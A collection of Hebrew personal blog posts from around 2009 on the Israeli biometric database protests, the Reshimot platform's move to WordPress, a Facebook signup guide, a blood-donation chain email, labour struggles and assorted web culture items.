המטרה היא שכל מי שהנושא קרוב ללבו יתרום בהתאם ליכולת ולהבנה שלו
מצד אחד, ברור שכל בלוגר נבון שיקדיש לנושא פוסט מושקע שווה את משקלו בזהב
מצד שני, גם מי שיכתוב שורה ובה ינקוט עמדה ויקשר לחומר בנושא, ישפיע מאד
גם מי שיעביר לחברים שלו בפייסבוק ישפיע
עד כאן השיחה.
אם יש לכם מה להגיב, להוסיף, לשאול ולערער – אני (וכנראה גם שוקי) נשמח לקרוא.
0:16 ישנם נושאים בהם אני מוצא שפשוט אין לי מה לכתוב, למרות שחובה בעיני לכתוב עליהם. נושא המאגר הביומטרי (ה"יענו פיילוט" שלו) שאושר היום בקריאה שלישית הוא אחד מהם.
אני כועס.
אני כועס על ווינט – על כך שהם החליטו לפרסם את הידיעה בנושא בעמוד הראשי למעלה. למה? כי זו הפעם הראשונה (עד כמה שידוע לי) שבו הם פירסמו ידיעה בנושא במעלה האתר. עד כה הם החביאו את הידיעה במדור "מחשבים" מתחת לידיעות בנושאים שבעיני פחות צריכים לעלות בשיח הציבורי.
אני עצוב.
אני עצוב שאנשים כמו קלינגר שכתבו על הנושא, כבר מדברים על עייפות, על תשישות, על כניעה? מדבר מילים שלתת להם לינק עליו זה פשוט לא מספיק.
אני מפחד.
מפחד שנמצא את עצמנו בוקר אחד במדינה שבה "האח הגדול" איננו רק תוכנית ריאליטי (ואני מצטער שלא הקשבתי לאחי שוקי שהציע לפני שנה שאתן את הלינק שהרגע נתתי למאמר בוויקיפדיה של האח הגדול, כדי לעזור לו בדירוג בגוגל).
אבל יותר מזה, אני מפחד שאולי טעיתי
אבל האם זה מספיק? זה לא מרגיש מספיק.
מרגיש כאילו מבלי להקדיש משרה מלאה לדברים האלה, ולמי יש את הזמן להקדיש לזה משרה מלאה?
בזמן שכתבתי את הפוסט הזה, לא ידעתי לאן הוא יגיע, אבל כשהגעתי לשורה הזו פתאום הבנתי שיש תשובה. והתשובה היא של סת' גודין: מנהיגי השבט!
רוצים להבין טיפה יותר? תצפו בזה:
מנהיג השבט הוא זה שתפקידו לקחת את המשרה המלאה, ולהנהיג אותנו (אותי) במסע לשנות משהו מגוחך שמולו צריך להתארגן (נאמר, החוק הביומטרי!).
ויש לנו כאלה בארץ, אבל לא מספיק.
לפני מספר חודשים קראתי את הספר "שבטים" של סת' גודין, ובזמנו הרגשתי שאני לא מצליח להפנים את המסר שלו. ורק עכשיו אני חושד שאני מבין מה הוא ניסה לומר. הוא ניסה לומר לי שהמאמר שכתבתי בזמנו "התיתכן מהפכה חברתית בישראל דרך בלוגים ?" היה שגוי, כי הוא התמקד בדבר הלא נכון. התמקדתי בטכנולוגיה ופיספסתי את האנשים. נכון שהטכנולוגיה מאפשרת לדברים מדהימים לקרות שלא קרו קודם. אבל רק היום הבנתי שפיספסתי את זה שלא משנה כמה מתוחכמת תהיה הטכנולוגיה, היא לא תספיק כדי לייצר לנו את המנהיגים שיובילו את השבטים שיצוצו באינטרנט. בשביל זה צריך משהו לא פחות מעניין מטכנולוגיה – בשביל זה צריך חינוך!
וכשאני אבין מה זה אומר, טיפה יותר לעומק, אני אכתוב על זה עוד פוסט
ואגב, אתם באים לעצרת ביום שישי הקרוב?"למי איכפת כאן? יום שישי הקרוב, מצעד זכויות האדם, 11:00, כיכר רבין."
1:30 הפוסט הזה מיועד למשפחה וחברים, תהנו:
באהבה,
דבורה טל.
13:50 כפי שוודאי שמתם לב אינני כותב הרבה לאחרונה, זאת מתוך רצון עיקש שלי לסיים פרוייקטים פתוחים וכך לאפשר לעצמי להתקדם בעבודת התזה שלי. אך החדשות שנודעו לי כעת הן משמעותיות מידי מכדי לא לחלוק אותן עם כולכם.
כעת נודע לי על התוכנית החדשה לביזור האתר רשימות!
והנה התוכנית (ובסופה פרשנותי):
לאחר מחשבות והתלבטויות הבנו דבר פשוט: מאחר והמערכת הטכנולוגית של הפרויקט זקוקה כולה להחלפה, הרי שהערך האמיתי של הפרויקט מצוי בשילוב בין:
א. התוכן של בעלי האתרים (ששייך, על פי הסכם המשתמשים, לבעלי האתרים והוא באחריותם הבלעדית)
ב. התפיסה/הקונספט של הפרויקט: מותג תוכן המחבר בין כותבים וקוראים ונותן להם זירה בעלת אופי ממוקד (כותבים מנוסים ומומחים בתחומם) למצוא בה אלו את אלו.
מתוך תפיסת העולם הזאת התפתח הרעיון לפרויקט שאנחנו מכנים "דף חדש" והוא, למעשה, פרויקט של ביזור "רשימות".
וכך הפתרון יתבצע:
- בשבועות הקרובים תושלם כתיבת כלי ייצוא תכנים, שאילן גליני עובד עליו עם תמיכה, בהתנדבות, מדביר וולק (אושיית תוכן ופיתוח ווב ולשעבר עורך "נענע"). הכלי הזה יאפשר לכותבים לייצא את תכני האתר שלהם (כולל התגובות) ולייבא את התוכן לתוך wordpress.
למי שלא מכירים, וורדפרס היא מערכת ניהול בלוגים בקוד פתוח הפופולרית בעולם. היתרון הוא שמערכת זאת פועלת גם באופן עצמאי כשהיא מותקנת על גבי שרתים, וגם במסגרת אתרים שמפעילים אותה עבור המשתמשים (אתר "בלוגלי" הוא דוגמא לאתר כזה בעברית, wordpress.com הוא דוגמה לועזית).- לאחר השלמת פיתוח הכלי נעבור לשלב ה"הגירה":
א. כל בעל אתר יחליט האם הוא רוצה לדאוג להתקנה של וורדפרס על שרת אחסון משלו (תהליך קצת יותר מסובך טכנולוגית, אבל שעלותו סבירה) או להצטרף לאחד השירותים שמפעילים את הפלטפורמה עבורו ומספקים אחסון.
ב. לאחר שיש לכותב פלטפורמה מוכנה הוא יוכל לייבא לתוכה את התכנים שיוצאו בעזרת הכלי שנפתח.
ג. לאחר ייבוא התכנים, למעשה, יהיה לכותב אתר חדש ומתפקד בכתובת חדשה עם כל התכנים של האתר שהיו במערכת ניהול התוכן רשימות.
ד. אנחנו יודעים שרבים מכם אוהבים את המראה של אתר רשימות, ולכן עבור כותבים שמעוניינים לשמור על המראה של האתר שלהם ברשימות, אנחנו נספק "ערכת עיצוב", שירדן שוקד על הכנתה, שיכולה לשמור על הסגנון הגרפי הנוכחי.
ה. מאחר והרב המוחץ של בעלי האתרים אינם אנשים טכניים, נפעיל צוות מתנדבים מקרב קהילת הוורדפרס בישראל שיעזור לבעלי האתרים לעבור לכתובות החדשות שלהם. למשתמשים מנוסים הקמת בלוג וורדפרס לוקחת בין עשר דקות לחצי שעה ואם כל מתנדב יאמץ מספר כותבים, התהליך יושלם בקלות תוך שבועיים-שלושה.
ו. כותבים שיסיימו לעבור ישאירו באתריהם ברשימות פוסטים עם לינק ולבחירתם יוכלו לפרסם ברשימות עדכונים והפניות עד שכל בעלי האתרים יסיימו את ההגירה.
- לאחר סיום שלב ההגירה, תסגר המערכת הטכנולוגית שלנו ותוחלף במערכת מבוססת רסס שתומכת רק בעמוד הראשי. מערכת זאת תמשוך עדכונים מתוך האתרים החדשים ותציג אותם בפורמט עמוד הבית של רשימות. התוצאה תהיה שקוראים עדין יוכלו להגיע אל האתרים ואל עדכוני התוכן שלכם בדרך הישנה, ולמעשה עמוד הבית של רשימות כמרכז של תוכן ימשיך לחיות כמעט ללא שינוי. (תצטרכו לעדכן את הקוראים שקוראים אתכם דרך רסס בכתובת החדשה).
- משתתפים עתידיים שמעוניינים להצטרף לפרויקט רשימות ימשיכו לפנות כרגיל, אבל בהבדל המהותי שהם יקימו בלוגים בכוחות עצמם, בכל מקום שרק ירצו, ועם הצטרפותם ייכללו עדכונים מהאתר שלהם בעמוד הראשי של רשימות.
- לא תהיה מחויבות להשתמש בערכת העיצוב של רשימות אבל כדי להשתתף, לכל הפחות יצטרכו להפנות בלינק לעמוד הראשי של הפרויקט (נספק "באנר" קטן, לבעלי העיצובים העצמאיים).
- אנחנו נשתמש בבלוג המערכת (שיעבור גם הוא לכתובת חדשה) כדי לחלוק אתכם טיפים לשימוש בוורדפרס ותוספים שיכולים לשפר את חווית השימוש שלכם.
ההודעה התמימה הזו של רשימות (אשר פורסמה ב- 17.11.09 ועד כה גררה 102), היא להערכתי הדבר הכי משמעותי שיקרה בקהילת הוורדפרס בישראל (כנראה שאף יותר מוורדקמפ 2007 וורדקמפ 2008).
הנה כמה מהמשמעויות המיידיות שאני מזהה:
עבור קהילת הוורדפרס בארץ, המשמעות תהיה התווספות של מאות מהבלוגרים הכי מנוסים בארץ לקהילת הוורדפרס הישראלית (ביחד עם הקוראים שלהם). מה שיוביל ליותר עבודה למעצבי וורדפרס למיניהם. ובכלל יותר אנשים שלומדים את וורדפרס ומדברים עליו.
עבור קהילת רשימות, המשמעות של המעבר לוורדפרס יהיה שידרוג משמעותי בחווית המשתמש שלהם (אני יודע זאת כיוון שאחי שוקי כותב ברשימות ו"זכיתי" לראות את המערכת מבפנים). ישנן אינספור יכולות שהם יזכו להם מהמעבר: ברמת העיצוב – יותר התאמה אישית. ברמת חווית השימוש למשתמשים – דברים כמו היכולת לתת לקוראים שלהם אפשרות לקבל עידכון כל פעם שיש תגובה חדשה למאמר וברמת הבנת הבלוג של עצמם – למשתמשי רשימת תתווסף האפשרות להוסיף את גוגל-אנליטיקס לבלוג שלהם (מה שעבור חלקם יוביל לשיפור משמעותי בהבנה של התנועה שהם מקבלים). אולי הם גם יתחילו לחשוב יותר על קידום אתרים. ואין דרך לדעת לאן כל זה יוביל.
משמעות אחרת של ההתבזרות תהיה, לדעתי, פתיחות גדולה יותר של הבלוגרים ברשימות לבלוגרים שמחוץ לרשימות. תופעה שאת ההשלכות שלה לא ברור שאי פעם נדע.
עבור קהילת הבלוגרים הכללית בארץ (כן כן, גם כאלה מדה-מרקר או מבלוגר), לכולם תהיה פתאום הזדמנות שווה להצטרף לקהילת "רשימות" (כי הפרוייקט המבוזר ישאב את התכנים של הבלוג שלהם ב-RSS ), מבלי שהבלוגרים יידרשו להחליף מערכת.
עבור אוהבי האינטרנט שבינינו – יהיה מדובר בניסוי הגדול ביותר שישראל ידעה לביזור של בלוגיה. ואולי דווקא מכאן (מי היה מדמיין), נתחיל לראות את הניצנים של בשלות קהילתית לרשת חברתית מבוססת בלוגים (מישהו אמר באדיפרס ?).
עבור קוראי הבלוגרים מבינינו – המשמעות תהיה חווית קריאה בממשק (כנראה) יותר נוח עבורינו לשימוש. ויותר קהילתיות בכלל הבלוגוספירה הישראלית.
חושבים שפיספסתי משהו חשוב או רוצים לחלוק את דעתכם? ספרו לי על זה בתגובות.
מאמרים נוספים:
1:11 אם נכנסת למאמר הזה סימן שעדיין אינך שייך ל-2 מליון הישראלים שכבר רשומים לפייסבוק. במאמר הקודם שלי הסברתי "מה זה פייסבוק", ובמדריך שלפניכם אני אתן את כל השלבים הדרושים לפתיחת כרטיס חדש בפייסבוק. במהלך המדריך אני מצרף פתרונות לבעיות נפוצות שעלולות לצוץ במהלך ההרשמה.
לנוחיותכם, הנה סרטון (באנגלית) שעובר אחר כל הצעדים הדרושים לפתיחת חשבון. ומתחתיו, הסברים בעברית.
ראשית צריך להכנס לאתר: www.facebook.com. בפנים ישנה תיבת הרשמה מצד ימין למטה.
אם נוח לכם יותר בשפה העברית, שימו לב שבתחתית הדף מופיעה המילה "עברית", אם תלחצו עליה אז כל הממשק של פייסבוק יעבור לשפה העברית.
מלאו את פרטיכם האישיים בתיבה: שם מלא (רצוי באנגלית!), אימייל, סיסמא, מין ותאריך לידה (זכרו – רק לבני 13 ומעלה מותר להירשם לפייסבוק).
אם אינכם רואים את כפתור ה"הרשמה" (או "sign up") עבור הטופס שהרגע מילאתם, נסו לבצע "ריענון חזק" ולמלא את פרטיכם מחדש.
"ריענון חזק" מבצעים על ידי שלוחצים על כפתור ה- SHIFT במקלדת, ומבלי לעזוב אותה לוחצים (עם הכפתור השמאלי של העכבר) על הכפתור לריענון מסך הדפדפן (הכפתור הזה שנמצא למעלה בדפדפנים).
אם עדיין אינכם רואים את הכפתור, או אם אתם לוחצים על הכפתור והוא לא נלחץ (או שהוא נלחץ, אבל לא רואים שום תגובה של האתר, או המעבר למסך הבא), אז מה שעליכם לעשות הוא לרוקן את המטמון ולמחוק את העוגיות (cookies) של הדפדפן. הנה שני מדריכי וידיאו כיצד לעשות זאת: הראשון מיועד לבעלי הדפדפן אינטרנט-אקספלורר, והשני מיועד למשתמשים בדפדפן פיירפוקס.
ווידאו המראה כיצד לנקות את קובץ המטמון שלך בדפדפן Internet Explorer של Microsoft:
ווידאו המראה כיצד לנקות את קובץ המטמון שלך בדפדפן Mozilla Firefox:
אם עקבתם אחר הצעדים המופיעים בסרטון, אתם כעת אמורים להיות מסוגלים להתקדם לצעד הבא בהרשמה.
בשלב הבא תעברו למסך המציג לכם שני מילים שעליכם לכתוב בתיבה – זה כדי שפייסבוק ידע שאתם בן-אדם אמיתי ולא רובוטריק.
המשיכו למלא עוד כמה פרטים בפרופיל שלכם (תוכלו לבצע זאת גם בשלב מאוחר יותר).
כעת מלאו את פרטי המייל שלכם, כדי שפייסבוק יוכל לאתר חברים שלכם שכבר רשומים בפייסבוק – והתחילו לשלוח הזמנות חברות לאנשים שאתם מכירים.
בשלב הבא תוכלו להוסיף תמונת פרופיל עבורכם. זהו צעד חשוב ואני ממליץ שלא לדלג עליו כיוון שהתמונה שלכם בכרטיס הפייסבוק היא זו שמקלה על אנשים לזהות אתכם כשהם מנסים להבין מי הציע להם חברות.
הדבר האחרון שנותר לכם לבצע הוא לגשת לתיבת הדואר-האלקטרוני שלכם. בתיבה תקבלו אימייל ובתוכו קישור. כניסה לקישור הזה תאשר לפייסבוק שהאימייל שהכנסתם בפרופיל שלכם אכן שייך לכם, ובזאת סיימתם.
אם לאחר יותר מרבע שעה אינכם מקבלים את האימייל בתיבה, כנסו לתיבת הספאם שבתיבה שלכם לראות שהאימייל שלכם לא "סינן" במקרה את הדואר מפייסבוק לתיבה זו. אם בכל זאת האימייל לא מופיע שם – בקשו מפייסבוק לשלוח אימייל נוסף אליכם כדי שתוכלו לאשר את חברותכם בפייסבוק.
* * * *
לסיום – אם (אחרי שתרשמו) מתחשק לכם להוסיף אותי כחבר – אתם מוזמנים לעשות זאת בלינק הזה
להתראות בפייסבוק!
11:55 קיבלתי עכשיו במייל פנייה מידידה שהפיצה פניה של מישהו אחר שאמר שצריכים תרומת דם עבור ילד שנפצע בתאונה. המטרה היא נפלאה, ולרתום חברים בשביל זה זה נהדר. אבל מה יקרה עם המייל הזה בעוד שנה?
בעלי הטלפונים שבמייל עלולים להמשיך לקבל פניות גם בעוד שנתיים בין אם הילד שלהם יבריא ובין אם חס וחלילה לא.
הפתרון לזה היה יכול להיות להקים בלוג (חינמי) באיזושהי מערכת מוכרת (לדוגמא וורדפרס.קום או בלוגלי) ושם לעדכן במה שקורה.
הייתרונות של לפתוח בלוג בשביל הפצת מייל שרשרת:
דוגמא לכל הנקודות הללו ניתן לראות בקמפיין שעזרתי לקדם בתחילת 2008, לנסות לסייע להציל את חיי אילנה, אשר חיפשה תורם מח עצם. הבלוג קיבל כמות עצומה של לינקים (וכניסות מאימיילים), כפי שמציג תפריט הניווט בצד האתר. בסוף היא מצאה תרומה, אך הלכה לעולמה במרץ 2008.
אם אהבתם, אנא הפיצו (במייל, או אם יש לכם פייסבוק – פתחתי קבוצה למען הנושא בשם "אם אתם רוצים לשלוח מייל שרשרת לחברים, בבקשה – תקימו בלוג!")
* * * *
והנה מייל השרשרת שהגיע אלי – מקווה שיעזור למישהו שהפצתי אותו:
שלום רב,
כל אחד ואחת מאיתנו שמע או קרא על "תאונת פגע וברח ", שהתרחשה ב- 26/08/2009 ביהוד, ובה נפגע אנושות ילד בן 12.
הילד, שאת זהותו מבקשת המשפחה לשמור בפרטיות, מאושפז כעת במחלקה לטיפול נמרץ ילדים בתל השומר, וסובל מפגיעות קשות בגופו, ובעיקר בראשו.
ביומיים שעברו מאז התאונה – הילד עבר מספר ניתוחים מורכבים ובינהם ניתוח בראשו.
כעת, הוא נמצא בעיצומו של מאבק עיקש על חייו וכאן אנו זקוקים לעזרתך:
1. לילד סוג דם נדיר ( -O ) וזקוק בדחיפות לתרומת דם מהסוג הנ"ל (שקיים רק בכ- 3% מהאוכלוסיה בישראל!)
אם את או אתה בעלי סוג דם זה ו/או מישהו ממכריך הינו בעל סוג דם זה – אנא גשו ותירמו דם עבור הילד וסייעו לו במלחמתו על החיים.
את תרומת הדם יש לבצע ב בנק הדם תל השומר השוכן באגף המעבדות (טלפונים: 03-5302570 03-5302570 , 03-5302633 03-5302633 , 03-5302618 03-5302618 ).
2. בין אם יש לכם את סוג הדם המבוקש או לוא – שאו תפילה עבורו. הוא זקוק לזה לפחות כמו שהוא זקוק לתרומת הדם.
אין זה מייל שרשרת ולא נוכל להבטיח לכם אושר או עושר אם תעבירו את המייל ל- X אנשים…
זהו מייל להצלת חייו של ילד פגוע בן 12 ותו לא.
אנא הפעילו את שיקול דעתכם והעבירו את המייל לכל אדם אשר יכול לסייע לילד, שהושאר לדמם למוות על ידי דורסיו.
מצ"ב קישורים לדיווחים על התאונה ב- ynet:
בכבוד רב ובתקווה רבה,
המשפחה של הילד הפצוע
והנה מה שנכתב על הנושא באתר "לא רלוונטי"
הסבר
על פי הידוע לי, הילד עדיין מאושפז ועדיין זקוק לדם. אולם, שימו לב שחייו אינם תלויים בתרומות דם על שמו או בתרומת דם דווקא בבנק הדם של בי"ח תל השומר. על פי חוק, בנק הדם הלאומי של מגן דוד אדום מספק דם ורכיבי דם לכל חולה בישראל. אין מצב שחולה ייפגע בגלל שלא תרמו דם על שמו בבנק הדם הפרטי של בית החולים שבו הוא מאושפז.
15:17 Dance In Israel הוא המגאזין-האינטרנטי, לדוברי אנגלית, של אישתי (דבורה) אשר עוסק במחול בישראל – והיום הוא חוגג שנה להיווסדו.
בשנה הזו האתר זכה לכ- 26,000 מבקרים מ-137 מדינות אשר ביקרו ב- 90 המאמרים שבאתר (8 מתוכם הם פודקסטים המראיינים כוריאגרפים ואנשים מובילים בעולם המחול בישראל).
אם אתם רוצים לסייע לאישתי (עולה חדשה לארץ, אשר מחפשת להתפרנס במקביל להפצת מידע על עולם המחול בישראל), הרי שפירגון באמצעות הפצה באינטרנט אודות האתר תסייע מאד.
איך תוכלו לעזור?
21:03 שלום חברים.
באחרונה עשיתי חשיבה מחודשת על "מהי הצלחה" ואיך "משיגים הצלחה". הייתי רוצה לכתוב לכם עוד על מחשבותי, אך לפני שאעשה זאת – אני קודם רוצה לדעת קצת על מחשבותיכם.
הכנתי בעבורכם סקר (קצר) למילוי.
אני מבטיח לתת לכם את תוצאותיו (ואת דעתי עליו) לאחר ש- 100 איש ימלאו את הסקר (אז אנא לסייע להפיץ 
)
Loading…
21:38 (הפוסט שלפניכם לא נכתב על ידי אלא נשלח אלי במייל. עם זאת, אני מסכים איתו – ומקווה לראותכם בהפגנה במוצ"ש)
אוקטובר 2009 – הפגנת חירום לפני קריאה שנייה ושלישית לחוק המאגר הביומטרי
במוצ"ש 17 באוקטובר, בשעה 20:00, ברחבת הסינמטק ת"א – עוצרים את חוק המאגר הביומטרי
במוצ"ש 17 באוקטובר, נתכנס כולנו ברחבת הסינמטק בת"א, החל מהשעה 20:00, ונזכיר לחברי הכנסת שעדיין לא מבינים – שלא נוותר! נגיד לא לחוק המאגר הביומטרי! נגיד לא לפגיעה בביטחוננו ובפרטיותנו!
הצעת החוק תעלה לקריאה שנייה ושלישית כנראה ביום שני הקרוב, 19 באוקטובר. ח"כ מאיר שטרית מנסה להעביר בכל מחיר את חוק המאגר הביומטרי. בהצבעה יקבע סופית – האם אנחנו מצטרפים למועדון הלא-מחמיא של תימן, פקיסטן ואינדונזיה, או האם אנחנו שומרים על הדמוקרטיה ושלום הציבור, כמו בכל מדינה מערבית אחרת. נתכנס על-מנת להפגין בנחישות ולקרוא לפסול את הצעת החוק.
כידוע, חוק המאגר הביומטרי, נועד להנהיג בישראל "תעודות זהות חכמות" כוללות אמצעי זיהוי ביומטריים, כגון טביעות אצבע ותמונות ממוחשבות של הפנים. אולם יוזמי החוק מעוניינים ביותר מכך – הם רוצים לשמור את הפרטים של כולנו במאגר ארצי, שמניסיון העבר הגישה אליו תהיה לכל דכפין, ודליפתו תהיה רק עניין של זמן. בעוד יוזמי החוק טוענים להורדת רמת הפשיעה כתוצאה מהחלתו, מזהירים מומחי אבטחת מידע מהשלכות חמורות שאינן מסתכמות רק בפגיעה קיצונית ובלתי הפיכה בפרטיות, אלא בסיכון בטחוני ממדרגה ראשונה! למידע נוסף בנוגע לסכנות המרובות הנובעות מהחוק, אנא היכנסו לקישורים שבתחתית העמוד.
להפגנה הקודמת ביולי 2009 הייתה הצלחה נכבדת – מאות אנשים הפגינו כנגד החוק ואף שני חברי כנסת הגיעו לנאום, וההפגנה סוקרה בהרחבה באמצעי התקשורת (קישור לכתבות ב-ynet ובמעריב). הצלחתהאירוע תלויה בכולנו, ככל שנדאג להפיץ את קיום האירוע נוכל לגרום לשינוי אמיתי. פרטי עצרת המחאה עלולים להתעדכן –
אנא בדקו בימים הקרובים את עמוד האירוע כדי להתעדכן בשינוים.
לאירוע הקרוב דרושים מתנדבים – אנא פנו אלינו בכתובת stopchip@yahoo.com
1:49 
שלום חברים.
אני מזמין אתכם כאן למופע הסטאנד אפ של נירמו (דף מעריצים בפייסבוק)' אשר יופיע במועדון הג'ז שבלול ביום שני ה- 12.10.09 (ניתן להזמין כרטיסים מכאן). ההומור שלו איננו לחלשי הלב. הוא אינטיליגנטי להחריד, חריף וזריז (טוב נו, הוא בטח התאמן בבית). זה הומור אינטיליגנטי. לא מהסגנון הבריטי, הוא יכול להיות מצחיק באופן מלוכלך ורדוד – אך בהרבה יותר מפעם אחת נירמו דורש שכל בשביל לזהות שמה שהוא הרגע עשה היה קורע מצחוק. לא כולם נהנים מההומור של נירמו מולד. אבל אלו שכן – מאוהבים בו!
דוגמאות לסטנד-אפ שלו אפשר למצוא בערוץ היוטיוב שלו כאן: [www.youtube.com]
הנה דוגמא אקראית שאספתי בדרך (על המצאת המילה איצטרובל):
ולאנשי הפייסבוק מביניכם – הנה האירוע בפייסבוק (כדי להקל עליכם להפיץ לחבריכם).
10:00 החיוך.
ווינט כתבו ש:
בשבוע שעבר אירחו בני הזוג אובמה קבלת פנים לחברי המשלחות הזרות, שהגיעו לניו-יורק לרגל עצרת האו"ם. במהלך האירוע, שנערך במוזיאון המטרופוליטן בעיר, הצטלמו השניים ללא פחות מ-130 תמונות עם הנציגים הזרים ומשפחותיהם.
הבלוגר אריק שפיגלמן, צירף את כל התמונות, והנה – הפלא ופלא – החיוך של אובמה נותר ללא שינוי. הוא ארז את הצילומים בסרטון וידיאו קצר הממחיש את טענתו.
התוצאה כאן:
Barack Obama's amazingly consistent smile from Eric Spiegelman on Vimeo.
והנה לינק לעוד מישהו שעשה קולאז' דומה
התגובה של אנשים מסויימים היא "מפחיד!". אך לאחר מחשבה שניה, האם זה באמת מפחיד?
חלק מהמגיבים לסרטון העלו כמה נקודות מעניינות:
ובנימה אישית – אני לא יודע מיהו המגיב ווינט שכל הזמן מזכיר שהשם האמצעי של אובמה הוא חוסיין (מה שנכון) ושהוא מוסלמי (מה שלא נכון, הוא נוצרי), ושהוא לא יליד אמריקה (אלא הוואי, שהרבה מאזרחי אמריקה בכלל לא יודעים שהיא מדינה בארה"ב) – אבל זה כבר ממזמן לא מפחיד.
ולגבי השאלה האם אובאמה טוב או רע (באופן כללי, ולישראל בפרט), דעתי (האישית) היא שאני מאד אופטימי, ואני מפנה לפוסט (המשובח, כרגיל) של יונית "אובמה באו"ם".
14:47 הרגע נתקלתי ביציאה המבריקה של דן-בול (אשר אותרה כאן)/
מסתבר שלאחרונה פתחה מוזיקאית בשם לילי אלן (הנה דוגמא לשיר מפורסם שלה) בלוג אנטי-פירטיות עבור מוזיקאיים. הבלוג התחיל כהמשך לביטויי חוסר שביעות הרצון שלה ממוזיקאים אשר תומכים בהורדות פיראטיות.
ואתמול הגיב לה דן-בול, בקליפ אשר מזמר את כתיבתו של מכתב פתוח ללילי אלן ואשר מבקר את עמדותיה. שימוש מבריק במוזיקה לתגובת-נגד מחאתית:
אני אוהב מה שאנשים עושים עם האינטרנט
14:06 אם ברצונכם לעשות זאת גם כן, תוכלו להשאיר הודעה דרך מילוי הטופס כאן.
המכתב שכתבתי היה הבא:
אני עצוב מאד לנוכח מה שנודע לי לאחרונה, לגבי התנאים הלא ראויים אותם מקבלים עובדי כללית רפואה משלימה.
ואני בטוח שככל שהזמן יעבור כללית תזכה ליותר ויותר חשיפה שלילית.
אני מאחל לכם שתפתרו את זה במוקדם במקום במאוחר.
אני גם חושב שפניה כנה (על ידי האינטרנט) לציבור, אשר תשקף יחס אנושי והגון כלפי עובדיכם, תעשה רק טוב לכל איש ניהולי אשר יקדם אותה.
תגובה זו גם פורסמה אצלי באתר (עם למעלה מ- 500 קוראים) בכתובת:
[www.talgalili.com]בברכה,
טל
הנה מכתב המפרט מהם התנאים הלא הגונים להם "זוכים" עובדי קופת חולים כללית רפואה משלימה:
המצב כיום:
· מטופל לא הגיע? העובד לא מקבל שכר!
· המשמרת לא מלאה? גם השכר לא מלא!
· המשמרת חלה ביום חג? העובדים לא מקבלים שכר!
· מטפל חולה? הוא לא מקבל שכר!
· מטפל יוצא לחופש? הוא לא מקבל שכר!
· ההנהלה נותנת הנחה למטופלים? חלק משמעותי מההנחה יורד משכר המטפל!
· עובדות המשרד, פקידות ומנהלניות, מקבלות שכר שעתי נמוך
מאד שאינו משקף את תרומתן המכריעה להצלחת החברה.
הן נסמכות על בונוסים כדי לגמור את החודש ואף הן לא יודעות
מה תהיה השורה התחתונה בתלוש השכר שלהן!אנו נאבקים למען:
§ תשלום שכר קבוע ויציב
§ העלאת שכר לבעלי השכר הנמוך
§ הסדרת התנאים הסוציאליים
§ עיגון ההסכמות בהסכם קיבוציאנו דורשים מההנהלה להכיר באיגוד ולשבת איתנו למו"מ!
כתבתי עוד על הנושא כאן.
23:48 אני לרוב נמנע ממשחקי "הירשם כאן בשביל לזכות ב", כי אין לי ערובה לרצינות האתר והמייזם. אך במקרה שלפנינו יש לי. אוברי דה גרי, שלח מסר לחבריו בפייסבוק שמזמין אותם להפיץ את השמועה על SENS (האירגון שהוא שותף בהקמתו, שנועד לקדם מחקר בנושא הארכת חיים).
הדרך שבה אנשים יכולים לסייע הוא על ידי השארת תגובות טוויטר הכוללת את הטקסט הבא בשורת הסטטוס שלהם: "Please help SENS Foundation to win $5000 in the #sharetowin challenge!" או לחילופין על ידי כניסה לאתר והשארת תגובה בעמוד הזה כאן (זה לוקח פחות מדקה) שאומרת משהו נוסח "go SENS".
הסיפור שלפנינו מעניין בכמה רמות:
מקווה לראות ש-SENS ינצחו, אני כבר הצבעתי, מה איתכם ?
12:42 בשמו של כוח לעובדים נתקלתי כבר לפני למעלה משנה. עמוד אודות האירגון מציג כמה מעיקרי מטרותיו:
הארגון מבוסס על מבנה דמוקרטי שבו הכוח נמצא בידי העובדים. “כוח לעובדים” מאמין בשוויון כלכלי חברתי, בשוויון מלא בין נשים וגברים, ערבים ויהודים וכל חלקי החברה הישראלית.
אני עוד לא יודע באיזו מידה האירגון מצליח במאמציו, אבל על פניו היוזמה נשמעת מעניינת.
מה שאני בעיקר נהנה ממנו הוא האופן שבו האירגון הזה מסייע ליצירת הנוכחות האינטרנטית של מאבקים שהוא מעורב בהם. לדוגמא: היום נכנסתי וצפיתי בהנאה בבלוג המאבק של עובדי כללית רפואה משלימה. בלוג זה מציג את עיקרי המאבק של העובדים ונותן דיווח עדכני על מאמציהם. לשם הפירגון (והעניין), הנה קישורים לכמה מהפוסטים האחרונים שפורסמו בבלוג שלהם (קריאה מהנה) :
23:26 יש הנאה עצומה בלראות סרטון כזה מבלי לדעת על מה הוא הולך להיות או מה יהיה בו. אך בשביל שתצפו בו נדרשתי לכותרת הפרובוקטיבית (ומדוייקת) אותה ציינתי. הנה הסרטון:
אם אהבתם את הסרטון, אנא הצביעו בעדו בקישור הזה עבור תחרות פסטיבל הסרטים breast fest.
ולמי שרוצה הרחבה, הנה הספויילר:
הסרטון "שטוח" מספר על עולם עתידי שבו אין יותר שדיים. כל כך הרבה נשים לקו בסרטן השד עד אשר הוחלט לדכא את גדילת השדיים (ואף האשכים) של כל בני האדם. הסרט מציג אבות לוקחים את בניהם לתערוכת שדיים במוזיאון. בתערוכה האבות מתבוננים בגעגועים בצילומי חזה של נשים, בעוד הילדים לא מצליחים להבין את העולם המוזר ממנו אבותיהם הגיעו.
מדוע כל כך הרבה נשים איבדו את שדיהן? חכו לסוף הסרט ותראו.
ואם ממש אהבתם את הסרטון, ספרו לחבריכם.
22:38 (זהו פוסט שעוסק בבלוגים, קידום-אתרים ונקמה. אם הנושאים הללו לא מעניינים אתכם, אנא המשיכו הלאה לפוסט הבא )
היום קיבלתי ספאם בעברית בתגובה לפוסט שכתבתי על פייסבוק בזמנו. למרות שהפוסט שלי לא דיבר על סקס, ויאגרה, רכישת ויאגרה, קניית ויאגרה, כמה לקנות, כמה לצרוך, השפעות בריאותיות ושום דבר מסוג זה – אף על פי כן איזשהו ספאמר החליט להשאיר אצלי בבלוג את התגובה
"קניית ויאגרה הכי מקורית בארץ"
עם לינק לאתר שלו על המילה "ויאגרה". יש אנשים שיטענו שאין בלינק הזה ערך (שהרי אוטומאטית יש עליו nofollow), אבל מהסתכלות ב- google webmasters tools, הרי שאני רואה שגוגל מזהה לינקים שהופיעו לאתר שלי מתגובות שהשארתי ברחבי הרשת. גם אם גוגל טוענים שהם לא עושים שימוש במידע הזה, הרי שאני מסופק.
